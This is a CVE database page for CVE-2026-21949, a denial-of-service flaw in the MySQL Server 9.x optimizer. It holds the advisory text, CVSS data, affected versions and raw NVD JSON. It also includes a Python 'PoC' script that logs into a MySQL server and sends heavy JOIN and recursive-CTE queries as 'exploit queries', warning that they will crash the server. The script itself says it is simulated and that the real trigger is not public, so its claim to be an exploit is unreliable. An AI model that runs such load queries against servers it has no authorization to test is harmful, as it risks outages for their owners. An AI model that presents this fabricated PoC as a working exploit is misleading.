Security Vulnerability Report
中文
CVE-2026-21949 CVSS 6.5 MEDIUM

CVE-2026-21949

Published: 2026-01-20 22:15:58
Last Modified: 2026-01-29 15:22:31

Description

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.5.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
MySQL Server 9.0.0
MySQL Server 9.0.1
MySQL Server 9.1.0
MySQL Server 9.2.0
MySQL Server 9.3.0
MySQL Server 9.4.0
MySQL Server 9.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-21949 PoC - MySQL Server Optimizer DoS Note: This is a simulated PoC for demonstration purposes. The actual exploit requires specific query patterns targeting the Optimizer component. """ import mysql.connector import sys import time def test_vulnerability(host, port, user, password, database='mysql'): """ Test for CVE-2026-21949 - MySQL Optimizer DoS This PoC attempts to trigger the Optimizer vulnerability through carefully crafted queries that may cause server hang or crash. WARNING: This will crash the MySQL server service! """ try: # Connect to MySQL server conn = mysql.connector.connect( host=host, port=port, user=user, password=password, database=database ) cursor = conn.cursor() print(f"[*] Connected to MySQL server at {host}:{port}") print(f"[*] Testing CVE-2026-21949 - Optimizer DoS...") # Crafted queries that may trigger Optimizer vulnerability # Note: The actual vulnerable query patterns are not publicly disclosed # This is a simplified example based on typical Optimizer DoS patterns exploit_queries = [ # Pattern 1: Complex JOIN with subqueries "SELECT * FROM information_schema.tables t1 " "JOIN information_schema.tables t2 ON t1.table_schema = t2.table_schema " "JOIN information_schema.tables t3 ON t2.table_name = t3.table_name " "WHERE t1.table_schema IN (SELECT table_schema FROM information_schema.tables " "GROUP BY table_schema HAVING COUNT(*) > 1)", # Pattern 2: Recursive CTE with Optimizer stress "WITH RECURSIVE cte AS ( SELECT 1 AS n UNION ALL SELECT n + 1 FROM cte WHERE n < 10000 ) SELECT * FROM cte c1 JOIN cte c2 ON c1.n = c2.n JOIN cte c3 ON c2.n = c3.n", # Pattern 3: Complex view with derived tables "SELECT * FROM ( SELECT table_schema, table_name FROM information_schema.tables ) AS derived1 JOIN ( SELECT table_schema, table_name FROM information_schema.tables ) AS derived2 ON derived1.table_schema = derived2.table_schema" ] for i, query in enumerate(exploit_queries, 1): print(f"\n[*] Sending exploit query {i}...") try: cursor.execute(query) results = cursor.fetchmany(10) print(f"[+] Query {i} executed (may indicate vulnerability not present)") except mysql.connector.Error as e: print(f"[!] Query {i} failed: {e}") if "crash" in str(e).lower() or "lost" in str(e).lower(): print("[!] Server may be vulnerable to CVE-2026-21949") cursor.close() conn.close() except mysql.connector.Error as e: print(f"[!] Connection error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <host> <port> <user> <password>") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) user = sys.argv[3] password = sys.argv[4] print("="*60) print("CVE-2026-21949 PoC - MySQL Server Optimizer DoS") print("WARNING: This exploit may crash the target MySQL server!") print("="*60) test_vulnerability(host, port, user, password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21949", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:57.877", "lastModified": "2026-01-29T15:22:31.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.5.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto MySQL Server de Oracle MySQL (componente: Servidor: Optimizador). Las versiones compatibles afectadas son 9.0.0-9.5.0. Una vulnerabilidad fácilmente explotable permite a un atacante con pocos privilegios y acceso a la red a través de múltiples protocolos comprometer MySQL Server. Los ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un bloqueo o un fallo (crash) frecuentemente repetible (DoS completo) de MySQL Server. Puntuación base CVSS 3.1 de 6.5 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.5.0", "matchCriteriaId": "80A941A0-B16F-477B-9062-EF768F4CAAD4"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}